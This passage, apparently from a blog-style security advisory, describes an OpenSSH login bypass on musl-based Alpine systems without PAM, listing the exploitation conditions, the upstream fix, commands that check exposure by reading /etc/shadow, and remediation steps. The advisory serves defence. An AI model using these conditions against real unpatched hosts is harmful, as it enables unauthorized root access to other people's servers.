nothing.</p><h3>The full attack flow</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*OvN0esre9tcLDFBf.png" /></figure><h3>Conditions required</h3><p>All of the following must hold:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FMGxUvxJOStE%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DMGxUvxJOStE&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FMGxUvxJOStE%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/82ab695d993e7f196e79a44b340f7dc6/href">https://medium.com/media/82ab695d993e7f196e79a44b340f7dc6/href</a></iframe><ol><li>sshd is built against musl libc and without PAM (Alpine Linux’s default openssh-server package)</li><li>PasswordAuthentication yes (OpenSSH&#39;s default)</li><li>The target account’s shadow field is exactly * (accounts locked with ! are safe)</li><li>The earliest $-hashed account in /etc/passwd order uses a vulnerable hash type</li></ol><ul><li>$5$/$6$ (SHA-256/512): needs a 257–1024 byte password</li><li>bcrypt ($2a$/$2b$/$2y$): pick_salt() miscalculates the $ delimiter position for bcrypt salts, so <em>any</em> 1–1024 byte password works regardless of length (fixed separately upstream in commit 84f8f466)</li><li>If $1$ (MD5) or $y$ (yescrypt) comes first, neither path applies</li></ul><p>Root itself uses * on Alpine too, but the default PermitRootLogin prohibit-password blocks direct root logins this way. However, Alpine&#39;s official cloud images (3.18.11–3.24.3) ship an alpine user with passwordless doas — so bypassing login for that single account is effectively root.</p><h3>The fix: OpenSSH 10.6p2</h3><p>The patch to auth-passwd.c is just a few lines:</p><pre>+#define MIN_PASSWORD_HASH_LEN    4<br> #define MAX_PASSWORD_LEN 1024<br>...<br>-    return encrypted_password != NULL &amp;&amp;<br>+    ret = encrypted_password != NULL &amp;&amp;<br>+        strlen(pw_password) &gt;= MIN_PASSWORD_HASH_LEN &amp;&amp;<br>         strcmp(encrypted_password, pw_password) == 0;<br>+    freezero(pw_password, strlen(pw_password));<br>+    return ret;</pre><p>The key addition is strlen(pw_password) &gt;= MIN_PASSWORD_HASH_LEN. The shortest valid hash (legacy DES) is 13 characters, so <strong>anything stored under 4 characters is excluded from the comparison entirely</strong> — whether it&#39;s *, !, or any error string musl might return. This single check closes every path described in this post, bcrypt salt-parsing bug included.</p><p>The patch also changes shadow_pw() to return an xstrdup()&#39;d copy instead of a pointer into a shared buffer, and wipes it with freezero() after use — removing the root cause of the &quot;needs two attempts&quot; buffer-reuse behavior described above.</p><h3>Checking for exposure</h3><p>Run these as root to check quickly:</p><pre># musl-based?<br>ldd &quot;$(command -v sshd)&quot; | grep -i musl<br><br># PAM in use?<br>sshd -T 2&gt;/dev/null | grep -i &#39;^usepam&#39;<br># password login allowed?<br>sshd -T 2&gt;/dev/null | grep -i &#39;^passwordauthentication&#39;<br># accounts with &quot;*&quot; in the shadow field<br>awk -F: &#39;$2==&quot;*&quot;{print $1}&#39; /etc/shadow<br># accounts with a $5$/$6$ hash<br>awk -F: &#39;$2 ~ /^\$[56]\$/{print $1}&#39; /etc/shadow</pre><p>If you see a musl match, usepam no, passwordauthentication yes, at least one * account, and at least one $5$/$6$ account, the host is vulnerable on any pre-patch version.</p><h3>Remediation</h3><ol><li><strong>Update and restart sshd</strong> — updating the package alone doesn’t help if the running process isn’t restarted.</li></ol><pre>apk upgrade -U<br>   rc-service sshd restart</pre><p><strong>2. Can’t update right now? Turn off password auth</strong> (make sure key-based login works first):</p><pre>echo &quot;PasswordAuthentication no&quot; &gt; /etc/ssh/sshd_config.d/00-no-passwords.conf<br>   sshd -t &amp;&amp; rc-service sshd restart<br>   sshd -T | grep -i passwordauthentication</pre><p>Alpine 3.16–3.18 don’t read sshd_config.d by default, so add PasswordAuthentication no directly to /etc/ssh/sshd_config on those versions.</p><p><strong>3. Check for signs of abuse</strong> — look for Accepted password for log lines naming an account that should never accept a password login:</p><pre>grep -h &#39;Accepted password for&#39; /var/log/messages /var/log/auth.log 2&gt;/dev/null</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f40698ea1cd4" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>